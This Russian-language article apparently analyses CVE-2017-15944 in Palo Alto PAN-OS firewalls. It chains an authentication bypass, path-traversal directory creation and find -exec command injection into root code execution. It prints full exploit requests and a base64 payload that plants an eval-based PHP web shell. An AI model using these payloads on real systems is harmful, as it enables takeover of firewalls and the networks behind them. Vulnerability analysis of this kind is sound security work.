Palo Alto Networks — один из крупнейших секьюрити-провайдеров. Файрволы этой компании работают на собственной ОС с приятным русскому уху названием PAN-OS. В ней-то недавно и нашли уязвимости, которые приводят к удаленному исполнению кода от имени суперпользователя без какой-либо авторизации. Хочешь узнать, как такие серьезные ребята смогли так облажаться? Давай разберемся!

Всего было найдено три уязвимости в реализации веб-интерфейса управления аппаратными брандмауэрами. Цепочка из них позволяет выполнить произвольный код от имени суперпользователя и скомпрометировать всю систему. Они получили один идентификатор CVE-2017-15944. Давай посмотрим на них поближе.

Для тестирования подойдет любая из этих версий системы:

  • PAN-OS 6.1.18 и ниже,
  • PAN-OS 7.0.18 и ниже,
  • PAN-OS 7.1.13 и ниже,
  • PAN-OS 8.0.5 и ниже.

Да, уязвимы почти все актуальные ветки, но вот одна беда — просто так заполучить их не выйдет, потому что PAN-OS поставляется только в комплекте с фирменными аппаратными файрволами. Если у тебя завалялся такой под рукой, то ты, конечно же, можешь перейти на официальный сайт в раздел загрузок и скачать нужную прошивку. Если такой возможности нет, то, увы, поднять стенд не получится и придется наблюдать за ходом эксплуатации в статье. Если придумаешь иной способ, не забудь сообщить. 😉

Страница авторизации в панели управления PAN-OS
Страница авторизации в панели управления PAN-OS
 

Обход авторизации

Разумеется, все функции панели управления закрыты от любопытных глаз при помощи логина и пароля, и первый баг, о котором пойдет речь, — это небольшой ее обход. В качестве веб-сервера в PAN-OS используется некая солянка из технологий, которая включает несколько самописных библиотек.

Конфигурационный файл /etc/appweb3/conf/common.conf содержит список объектов, которые закрыты авторизацией. Выглядят такие секции следующим образом:

/etc/appweb3/conf/common.conf
144: <Location /php/monitor>  
145:   SetHandler phpHandler  
146:   panAuthCheck on
147: </Location>
148: <Location /php/utils>
149:   SetHandler phpHandler  
150:   panAuthCheck on
151: </Location>
152: <Location /php> 
153:   panAuthCheck on
154: </Location>
155: <Location /PAN_help>
156:   panAuthCheck on
157: </Location>
...
162: <Location /upload>
163:      panAuthCheck on
164:      AddInputFilter uploadFilter
165: </Location>

Директивы panAuthCheck, установленные в on, закрывают указанный URI авторизационной формой. При попытке перейти по такому адресу текущая сессия пользователя проверяется на наличие валидной аутентификации. За это отвечает библиотека /usr/local/lib/shobjs/libpanApiWgetFilter.so.

/etc/appweb3/conf/common.conf
60: LoadModulePath "/usr/local/lib/shobjs:/usr/local/lib32/shobjs"
61: LoadModule panappweb3Module libpanappweb3
62: LoadModule panApiWgetFilter libpanApiWgetFilter
63: LoadModule panAuthFilter libpanApiWgetFilter

Затем функция openAuthFilter проверяет наличие сессионной куки PHPSESSID и передает управление функции readSessionVarsFromFile для загрузки и извлечения нужных переменных (dloc и user) из файла сессии.

libpanApiWgetFilter.c
1282: void __cdecl openAuthFilter(MaQueue_0 *q)
1283: {
...
1310:   if ( getCookieValues(&myFuncResult, ptrMyAuthFilter) )
...
1320:     v1 = maGetStageData(ptrMyAuthFilter->conn, "panAuthFilter.PHPSESSID");
...
1321:     hasSessionCookie = v1 != 0;
1322:     if ( v1 != 0 )
1323:     {
1324:       if ( readSessionVarsFromFile(ptrMyFuncResult, ptrMyAuthFilter) )
libpanApiWgetFilter.c
818: pan_result_t __cdecl readSessionVarsFromFile(ptrFuncResult result, ptrAuthFilter me)
819: {
...
845:   ssid = myGetStageData(me->conn, "panAuthFilter.PHPSESSID");
...
847:   path = (pan_char_t *)__pan_calloc(me->allocator, 1, pathSize);
848:   if ( path )
849:   {
850:     sprintf(path, "%s%s%s", "/tmp/", "sess_", ssid);
851:     fp = fopen(path, "r");

Проблемное место — это кастомная реализация алгоритма, который читает переменные сессии. Вместо того чтобы воспользоваться какой-нибудь стандартной функцией для работы с сериализованными данными, разработчики написали свою, которая основана на цепочке вызовов strtok для разбиения строки на части.

libpanApiWgetFilter.c
886:             fseek(fp, 0, 0);
887:             if ( fread(buf, sbuf.st_size, 1u, fp) == 1 )
888:             {
889:               fclose(fp);
890:               buf[sbuf.st_size] = 0;
891:               delim = "|";
892:               remaining = 0;
893:               skey = strtok_r(buf, "|", &remaining);
894:               do
895:               {
896:                 if ( !skey )
897:                   break;
898:                 if ( !remaining )
899:                   break;
900:                 remaining2 = 0;
901:                 ptType = strtok_r(remaining, ":", &remaining2);
902:                 if ( !ptType )
903:                   break;
904:                 strtok_r(0, ":", &remaining2);
...
920:                   skey = strtok_r(remaining2, delim, &remaining);
...
924:                   tSkeyValue = strtok_r(0, ";", &remaining2);
925:                   if ( *ptType == 115 )
926:                   {
927:                     tSkey = 0;
928:                     if ( !strcasecmp("dloc", skey) )
929:                     {
930:                       tSkey = "panAuthFilter.dloc";
931:                     }
932:                     else if ( !strcasecmp("user", skey) )
933:                     {
934:                       tSkey = "panAuthFilter.user";
935:                     }
936:                     if ( tSkey && tSkeyValue && *tSkeyValue )
937:                     {
...
950:                   skey = strtok_r(0, delim, &remaining2);
951:                   remaining = remaining2;
...
954:               while ( skey && *skey != 10 );
955:               if ( !maGetStageData(me->conn, "panAuthFilter.user") )
956:                 mprLog(
957:                   globalMpr,
958:                   0,
959:                   "panAuthFilter:panAuthFiler: management cookie missing. file size %d",
960:                   sbuf.st_size);
961:               if ( !maGetStageData(me->conn, "panAuthFilter.dloc") )
962:                 mprLog(globalMpr, 0, "panAuthFilter:panAuthFilter: dloc cookie missing. file size %d", sbuf.st_size);
963:               __pan_free(me->allocator, path, pathSize);
964:               __pan_free(me->allocator, buf, bufSize);
965:               v3 = 0;
966:             }

Сам формат обрабатываемых данных похож на то, что возвращает функция serialize в PHP.

имя_переменной|s:длина_переменной:"значение"; имя_переменной|s:длина_переменной:"еще_значение";

И так далее. Для разделения описаний переменных используется точка с запятой. Увы, такая реализация содержит логические изъяны, которые помогут нам в дальнейшей эксплуатации. Например, мы можем выполнять банальные инъекции, используя в качестве их значений последовательность ";. Так можно управлять значением переменной user.

Теперь осталось найти возможность, которая позволит нам записать данные в файл сессии. Посмотрим на скрипт cms_changeDeviceContext.esp, в котором происходит работа с переменной $_SESSION. Его можно вызвать без авторизации.

/var/appweb/htdocs/esp/cms_changeDeviceContext.esp
02: WebSession::start();
03: require 'panmodule.php';
04: 
05: foreach ($_SESSION as $key => $value) {
06:  if (strpos($key, "dSId_") === 0) {
07:   unset($_SESSION[$key]);
08:  }
09: }
10: /** @noinspection PhpUndefinedFunctionInspection */
11: $string_argout = panUserSetDeviceLocation($_SESSION['user'], $_GET['device'], 0, new php_string_argout());

Функция panUserSetDeviceLocation находится в подгружаемой библиотеке /usr/lib/php/modules/panmodule.so.

/etc/appweb3/php.ini
455: extension_dir = "/usr/lib/php/modules"
...
552: extension=panmodule.so

Чтобы посмотреть, что происходит с переданными в функцию параметрами, нам пригодится дизассемблер IDA. Благо сейчас есть бесплатная версия — ее нам вполне хватит, потому что библиотека скомпилирована для архитектуры Intel 80386.


Дизассемблирование функции panUserSetDeviceLocation
Дизассемблирование функции panUserSetDeviceLocation

Атрибут deviceStr попадает в функцию из URL параметра device (переменная $_GET['device']). Далее значение попадает в panPhpConvertStringToLoc.

panmodule.c
18464: pan_uint32_t __cdecl panUserSetDeviceLocation(char *cookie, char *deviceStr, int useWriteFmt, php_string_argout *string_argout)
18465: {
...
18498:   if ( panPhpConvertStringToLoc(deviceStr, &dloc) )

Логика работы со значением примерно следующая.

Логика работы функции panPhpConvertStringToLoc
Логика работы функции panPhpConvertStringToLoc

Значение до первого двоеточия конвертируется в десятичное целое.

panmodule.c
19354:   strcpy(seps, ":");
...
19362:     v3 = __strtok_r(strCopy, seps, (char **)tmpBuf);
19363:     if ( v3 )
...
19377:           loc->loc = strtol(v3, 0, 10);

Производится поиск следующего двоеточия, и данные между двумя двоеточиями копируются в переменную deviceName. Размер данных равен максимум 0x20 байтам. Если переданное значение оказалось большего размера, то все остальное отбрасывается.

19370:           if ( v4 == 1 )
19371:             sstrncpy(loc->deviceName, v3, 32);

Далее идет поиск следующего символа с двоеточием и выполняется аналогичная операция, только для переменной vsysName.

19373:             sstrncpy(loc->vsysName, v3, 32);

После этого полученная переменная deviceName отправляется в функцию panPhpSetDeviceForSession для дальнейшей обработки.

18505:     v4 = panPhpSetDeviceForSession(cookie, dloc.deviceName, errMsg, 0x200u);
...
20823: signed int __cdecl panPhpSetDeviceForSession(pan_char_t *cookie, pan_char_t *devName, pan_char_t *errMsgBuf, pan_uint32_t bufSize)
20824: {
...
20829:   pan_char_t firstVsys[32]; // [sp+30h] [bp-2Ch]@6
...
20846:     sstrncpy(firstVsys, "vsys1", 32);

В процессе выполнения этой функции происходит вызов panPhpSetDeviceAndVsysForSession, которая устанавливает значения переменных dloc и loc в соответствии с переданными данными.

19328:   panPhpSetSessionVar("dloc", tmpLocStr);
19329:   tmpLoc.loc = (unsigned int)panSwalIsVsysName(vsysName) < 1 ? 128 : 16;
19330:   if ( vsysName )
19331:   {
19332:     if ( !*vsysName )
19333:       tmpLoc.loc = 8;
19334:     sstrncpy(tmpLoc.vsysName, vsysName, 32);
19335:     panPhpConvertLocToString(&tmpLoc, tmpLocStr, 0x100u);
19336:     panPhpSetSessionVar("loc", tmpLocStr);

Сделаем вот такой запрос:

https://panos.visualhack:4443/esp/cms_changeDeviceContext.esp?device=1024:aaaa:bbbb

Запрос на создание файла сессии и записи в нее переменных
Запрос на создание файла сессии и записи в нее переменных

После чтения данных сессии переменные будут иметь следующие значения:

dloc|s:6:"8:aaaa";loc|s:13:"16:aaaa:vsys1";

dloc|s:6:"8:aaaa";
loc|s:13:"16:aaaa:vsys1";

dloc = "8:aaaa"
loc  = "16:aaaa:vsys1"

Теперь при каждом запросе будет проверяться валидность сессии при помощи panCheckSessionExpired, в рамках которой будет выполняться panBuildQueryCheckSessionExpired из уже известной нам библиотеки /usr/local/lib/shobjs/libpanApiWgetFilter.so.

libpanApiWgetFilter.c
1058: pan_result_t __cdecl panCheckSessionExpired(ptrFuncResult result, ptrAuthFilter me)
1059: {
...
1079:   retval = panBuildQueryCheckSessionExpired(&myFuncResult, me, 0);
libpanApiWgetFilter.c
1037: pan_result_t __cdecl panBuildQueryCheckSessionExpired(ptrFuncResult result, ptrAuthFilter me, bool refresh)
1038: {
1039:   pan_char_t *user; // ST1C_4@1
1040:   const char *v4; // eax@2
1041:   int v6; // [sp+Ch] [bp-1Ch]@1
1042: 
1043:   user = myGetStageData(me->conn, "panAuthFilter.user");
1044:   pan_string_buffer_appendf(result->data.str, "<request cmd='op' cookie='%s' %s", user, &unk_8665);
1045:   if ( refresh )
1046:     v4 = "yes";
1047:   else
1048:     v4 = "no";
1049:   pan_string_buffer_appendf(result->data.str, " refresh='%s'>", v4, v6);
1050:   pan_string_buffer_append(result->data.str, "<operations xml='yes'><show><cli><idle-timeout/></cli></show>");
1051:   pan_string_buffer_append(result->data.str, "</operations></request>");
1052:   return 0;
1053: }

Эта функция формирует XML-запрос к бэкенду, который должен дать ответ о жизнеспособности используемой сессии.

Чтобы выполнение перешло в эту ветку кода, нужна переменная user. Это не проблема, ведь у нас на примете имеется не совсем корректно написанный парсер данных из файла сессии. Все, что нам нужно, — это заинжектить требуемую переменную.

https://panos.visualhack:4443/esp/cms_changeDeviceContext.esp?device=1024:aaaa%27";user|s:

Инъекция переменной в сессию
Инъекция переменной в сессию

Здесь:

dloc|s:15:"8:aaaa'";user|s";loc|s:22:"16:aaaa'";user|s:vsys1";
dloc|s:15:"8:aaaa'";
user|s";loc|s:22:"16:aaaa'";
user|s:vsys1";

После такого запроса переменная user (panAuthFilter.user) становится равной 16:aaaa'. А результатом работы функции panBuildQueryCheckSessionExpired будет следующий XML-запрос:

<request cmd='op' cookie='16:aaaa''  refresh='no'>
    <operations xml='yes'>
        <show><cli><idle-timeout/></cli></show>
    </operations>
</request>

Дополнительная одинарная кавычка делает XML невалидным, и парсер вернет ошибку вида

<response status="error" code="18">
    <msg>
        <line>Malformed Request</line>
    </msg>
</response>

Однако функция panCheckSessionExpired все равно вернет единицу, это будет означать, что аутентификация пройдена и сессия валидна.

libpanApiWgetFilter.c
1337:           if ( panCheckSessionExpired(ptrMyFuncResult, ptrMyAuthFilter) == 2 )
1338:           {
...
1341:           }
1342:           else
1343:           {
1344:             mprLog(globalMpr, 9, "panAuthFilter:openAuthFilter %s We are done!!!", ptrMyAuthFilter->conn->request->url);
1345:           }

Проверить успешность обхода авторизации можно на отладочной странице: https://panos.visualhack:4443/php/utils/debug.php.

Успешный обход авторизации и загруженная страница отладки
Успешный обход авторизации и загруженная страница отладки

После создания такой сессии ты сможешь ходить по папкам, которые закрыты директивой panAuthCheck.

 

Создание директорий

Переходим к следующей уязвимости. Как и в любой современной системе, в PAN-OS имеется API. Чтобы делать прямые запросы к нему, можно использовать скрипт route.php из папки с утилитами.

Однако доступ к скрипту возможен только для авторизованных пользователей. Это не проблема, ведь у нас уже имеется готовый обход. Так что смелее подставляй в запрос идентификатор сессии, полученный манипуляциями из прошлого раздела, и дело в шляпе.

/var/appweb/htdocs/php/utils/router.php
3: require_once($_SERVER['DOCUMENT_ROOT'] . '/../htdocs/php/include/common.php');
4: require_once($_SERVER['DOCUMENT_ROOT'] . '/../htdocs/php/include/ExtDirect.php');
5: 
6: class ExtDirect_Router extends RouterAbstract {
7:     private $_api;

Нужный метод можно вызывать, указывая его название после router.php. Например, чтобы выполнить Administrator.get, делаем запрос к https://panos.visualhack:4443/php/utils/router.php/Administrator.get. Все просто. По счастливой случайности это именно тот метод, что нам интересен. Сначала создается экземпляр класса ExtDirect_Router, который является наследником RouterAbstract.

/var/appweb/htdocs/php/utils/router.php
6: class ExtDirect_Router extends RouterAbstract {
7:     private $_api;
...
86: $router = new ExtDirect_Router();
87: Http::headerType('json');
88: echo $router->getResponse();

Метод getResponse вызывает dispatch, а в качестве аргумента использует данные, которые мы передаем в запросе в виде JSON.

/var/appweb/htdocs/php/include/RouterAbstract.php
111:     public function getResponse(array $requestData=array()) {
112:         if (empty($requestData))
113:             $requestData=$GLOBALS;
114: 
115:         return $this->dispatch($requestData);
116:     }
/var/appweb/htdocs/php/include/RouterAbstract.php
25:     private function dispatch(array $requestData) {
26:         $request  = $this->parseRequest($requestData);

Метод parseRequest использует функцию json_decode, чтобы представить переданные данные в виде объекта.

/var/appweb/htdocs/php/include/RouterAbstract.php
18:     protected function parseRequest(array $requestData) {
19:         if (isset($requestData['HTTP_RAW_POST_DATA'])) {
20:             return json_decode($requestData['HTTP_RAW_POST_DATA']);
21:         }
22:         return null;
23:     }

Возьмем такой более-менее валидный запрос.

{
    "action": "PanDirect",
    "method": "execute",
    "data": [
        "07c5807d0d927dcd0980f86024e5208b",
        "Administrator.get",
        {
            "changeMyPassword": true,
            "template": "asd",
            "id": "admin"
        }
    ],
    "type": "rpc",
    "tid": 713
}

После того как JSON конвертируется в объект, метод rpc проверяет, существует ли указанный класс и метод из параметров action и method соответственно.

/var/appweb/htdocs/php/include/RouterAbstract.php
27:         $response = $this->rpc($request);
/var/appweb/htdocs/php/include/RouterAbstract.php
49:     private function rpc($request) {
50:         try {
51:             $class  = Xml::escape($request->action);
52:             $method = Xml::escape($request->method);
53:             $tid = Xml::escape($request->tid);
54:             $params = $request->data;
55: 
56:             $v=$this->isValidMethod($class, $method);

Следующим шагом создается объект класса, который указан в $request->action, в нашем случае это PanDirect. Последующий вызов call_user_func_array приводит к выполнению PanDirect->execute где в качестве параметров указаны данные из массива data.

74:             $instance= new $request->action;
...
77:             $retval=call_user_func_array(array($instance,$method), $params);

Логика этого метода следующая.

/var/appweb/htdocs/php/include/PanDirectLite.php
59:     function execute($callFunction, $jsonArgs) {
60:         /* @var $reflection ReflectionClass */
61:         /* @var $method ReflectionMethod */
62:         list($reflection, $isStatic, $method) = $this->checkValidRemoteCall($callFunction, true);
63:         if ($isStatic) {
64:             return $method->invokeArgs(NULL, array($jsonArgs));
65:         } else {
66:             $obj = $reflection->newInstanceArgs(array($jsonArgs));
67:             return $obj->$method();
68:         }
69:     }
  • checkValidRemoteCall выполняет проверку метода: объявлен он статическим или нет;
  • если да, то выполняется его прямой вызов. Если нет, то переменная $obj становится экземпляром указанного класса. В нашем случае это Administrator;
  • $obj->$method() вызывает указанный метод, в нашем случае это get.

Если в аргументах был указан флаг changeMyPassword, то происходит вызов метода getConfigByXpath.

/var/appweb/htdocs/php/device/Administrator.php
10: class Administrator extends ManagementConfigAbstraction {
...
85:     public function get() {
...
86:         // detail viewer
87:         if ( isset($this->jsonArgs->changeMyPassword) ) {
88:             return Direct::getConfigByXpath("/config/mgt-config/users/entry[@name='" . $this->jsonArgs->id . "']");

Этот метод формирует xpath, который будет отправлен бэкенду mgmtsrvr.

/var/appweb/htdocs/php/include/Direct.php
688:     static function getConfigByXpath($xpath, $attribute=null, $options=null) {
689:         $req = XmlRequest::get($xpath, $attribute);
690:         return $xmlDoc = Backend::getArray($req, $options);
691:     }
/var/appweb/htdocs/php/include/Backend.php
377:     static function getArray($req, $options=NULL, $connectionOptions = null) {
378:         $dom = self::getDom($req, $connectionOptions);
/var/appweb/htdocs/php/include/Backend.php
350:     static function getDom($msg, $connectionOptions = null) {
351:         $msg = self::massageMsg($msg);
352:         $data = self::getConnection()->send($msg, $connectionOptions);
/var/appweb/htdocs/php/include/MSConnection.php
07: class MSConnection {
...
43:     function send($requestXml, $connectionOptions = null) {
...
50:             $this->writePayload($requestXml, $payloadLength);
/var/appweb/htdocs/php/include/MSConnection.php
07: class MSConnection {
...
95:     public function writePayload(& $requestXml, $payloadLength) {
96:         socket_write($this->sock, $requestXml, $payloadLength);
97:     }

В результате на сервер уходит вот такой XML:

<request cmd="get"
    obj="/config/mgt-config/users/entry[@name='admin']"
    cookie="cb3824b1b1fd3ac7138682ed67e03b8e"/>
</request>

При обработке полученного запроса демон mgmtsrvr выполняет функцию pan_mgmtsrvr_client_svc.

mgmtsrvr.c
3603: void *__cdecl __noreturn pan_mgmtsrvr_client_svc(void *arg)
3604: {

И наконец, отрабатывает pan_jobmgr_store_job_result из огромной библиотеки /usr/local/lib/libpanmp_mp.so.1. Функция создает временный файл XML в директории /opt/pancfg/session/pan/user_tmp/{cookie}/{jobid}.xml, где cookie — это атрибут из тега request.

Дизассемблированный код функции pan_jobmgr_store_job_result
Дизассемблированный код функции pan_jobmgr_store_job_result

libpanmp_mp.so.1.c
401430: signed int __usercall pan_jobmgr_store_job_result@<eax>(int a1@<eax>, int a2@<edx>)
401431: {
...
401440:     if ( a1 )
401441:     {
401442:       snprintf(&v5, 0x400u, "%s%s", "/opt/pancfg/session/pan/user_tmp/", *(_DWORD *)(a1 + 476));
401443:       if ( pan_dir_create_tree(&v5) >= 0 )

Вот здесь и закралась проблема. Парсер никак не фильтрует пользовательские данные, поэтому возможна XML-инъекция, благодаря которой мы можем указать атрибут cookie. При обработке этой задачи будет создана папка с произвольным именем. А используя технику path traversal, мы можем выйти из указанной папки и создать директорию в любом месте на диске, так как все это дело отрабатывает от рута. 🙂

Вот такой запрос будет создавать папку jbfc в директории tmp:

{
    "action": "PanDirect",
    "method": "execute",
    "data": [
        "07c5807d0d927dcd0980f86024e5208b",
        "Administrator.get",
        {
            "changeMyPassword": true,
            "template": "asd",
            "id": "admin']\" async-mode='yes' refresh='yes' сookie='../../../../../../tmp/jbfc'/>\u0000"
        }
    ],
    "type": "rpc",
    "tid": 713
}

Чтобы отбросить те атрибуты, которые добавляет вызов XmlRequest::get($xpath, $attribute), воспользуемся старым добрым null-байтом.

/var/appweb/htdocs/php/include/XmlRequest.php
39:     static function get($xpath, $attributes = null) {
40:         return sprintf('<request cmd=\'get\' obj="%s" cookie="%s"%s></request>',
41:             $xpath, Session::cookie(), self::appendAttributes($attributes));
42:     }
 

Дорога к RCE

Наконец-то мы приблизились к самому интересному — выполнению произвольных команд в системе.

Такие сложные системы не обходятся без планировщика заданий, вот и здесь крутится демон cron и выполняет разные скрипты. Один из них — это /usr/local/bin/genindex_batch.sh, он вызывает /usr/local/bin/genindex.sh, который отвечает за переиндексацию данных в БД.

/usr/local/bin/genindex_batch.sh
9: /usr/local/bin/genindex.sh $date >> /var/log/pan/indexgen.log 2>&1

Здесь есть интересный кусок кода, который выполняет поиск файлов в директории $PAN_BASE_DIR/logdb/$dir/1 (/opt/pancfg/mgmt/logdb/$dir/1).

genindex_batch.sh
2: export PAN_BASE_DIR=/opt/pancfg/mgmt
/usr/local/bin/genindex.sh
222:    echo "Updating indices for $db db"
223:    for day in `find $PAN_BASE_DIR/logdb/$dir/1 -mindepth 1 -maxdepth 1 -mtime -30 | sort -r`

Затем скрипт пробегает по полученному списку и выполняет некие команды. Нас интересуют не сами команды, а то, что имя директории (переменная $day) попадает в исполняемую строку.

/usr/local/bin/genindex.sh
227:      for logfile in `find $day -mmin +5 -name pan.*.log | sort -r`

Теперь, используя описанную технику создания директорий с произвольным именем, мы сможем внедрить параметры в вызов бинарника find. Далеко ходить не нужно, ведь у него есть замечательный параметр -exec.

Название говорит само за себя: после каждого найденного файла выполняется указанная там команда. UNIX-подобные системы относятся к названиям файлов и каталогов далеко не так строго, как Windows. По большому счету запрещены только символы слеша (/) и null-байт (\0), все остальное можно спокойно использовать. В PoC для исполнения команд используется Python и Base64.

f=open('/var/appweb/htdocs/poc.php', 'w');f.write("<?php @eval($_POST['jbfcthere']);?>");f.close();

python -c exec("Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvcG9jLnBocCcsICd3Jyk7Zi53cml0ZSgiPD9waHAgQGV2YWwoJF9QT1NUWydqYmZjdGhlcmUnXSk7Pz4iKTtmLmNsb3NlKCk7".decode("base64"))

В качестве демонстрации указан набор команд, которые создают PHP-шелл, доступный из браузера. По умолчанию веб-рут располагается по адресу /var/appweb/htdocs/, поэтому файл poc.php создается именно там.

{
    "action": "PanDirect",
    "method": "execute",
    "data": [
        "07c5807d0d927dcd0980f86024e5208b",
        "Administrator.get",
        {
            "changeMyPassword": true,
            "template": "asd",
            "id": "admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec(\"Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvcG9jLnBocCcsICd3Jyk7Zi53cml0ZSgiPD9waHAgQGV2YWwoJF9QT1NUWydqYmZjd2FzaGVyZSddKTs/PiIpO2YuY2xvc2UoKTs=\".decode(\"base64\")) ;'/>\u0000"
        }
    ],
    "type": "rpc",
    "tid": 713
}

Разумеется, ты можешь использовать свои команды, только обрати внимание: иногда в Base64 встречаются слеши, не забывай их экранировать. Также держи в уме, что размер названия может быть не больше 255 символов.

После того как запрос выполнится, нужно подождать, пока выполнится задача по индексации. Она отрабатывает на 0, 15, 30 и 45-й минуте каждого часа, то есть каждые пятнадцать минут.

/etc/cron.d/indexgen
SHELL=/bin/bash

0,15,30,45 * * * * root /usr/local/bin/genindex_batch.sh

Успешная эксплуатация PAN-OS
Успешная эксплуатация PAN-OS

Готовые PoC ты можешь найти тут и тут.

 

Демонстрация уязвимости (видео)

 

Выводы

Вот такие интересные уязвимости нашлись в операционке устройства, которое за немалые деньги защищает корпоративную безопасность. Хоть в официальном руководстве и говорится о том, что панелька, доступная из интернета, — это bad practice, подобные решения частенько встречаются. Например, нехитрым запросом в Shodan можно отыскать несколько тысяч таких устройств, спокойно доступных извне.

Хочу также напомнить, что команды атакующего выполняются от имени суперпользователя. Это значит, что система будет скомпрометирована полностью. А если учесть, что это файрвол, то импакт от такой атаки может стать колоссальным.

Тем не менее баги закрыты, патчи выпущены, спеши обновиться, если в твоем ведении одна из таких машин.

2 комментария

  1. zigun

    16.03.2018 at 14:18

    0Ycw0YLQutC+INGA0LAz0LbQtdCy0LDQuyE=

Оставить мнение

Check Also

Удаленное удаление. Как захватить контроль над WordPress, заставив его стереть файл

В WordPress, самой популярной в мире системе публикации, была обнаружена серьезная уязвимо…